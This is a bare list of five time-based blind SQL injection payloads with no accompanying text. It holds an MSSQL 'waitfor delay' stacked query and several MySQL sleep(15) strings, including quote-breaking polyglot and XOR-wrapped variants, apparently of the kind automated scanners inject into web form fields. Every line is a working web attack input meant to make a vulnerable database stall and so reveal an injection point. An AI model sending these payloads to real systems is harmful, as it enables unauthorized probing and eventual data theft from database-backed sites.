555-1; waitfor delay ‘0:0:15’ —

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/

5550″XOR(555*if(now()=sysdate(),sleep(15),0))XOR”Z

5550’XOR(555*if(now()=sysdate(),sleep(15),0))XOR’Z

555*if(now()=sysdate(),sleep(15),0)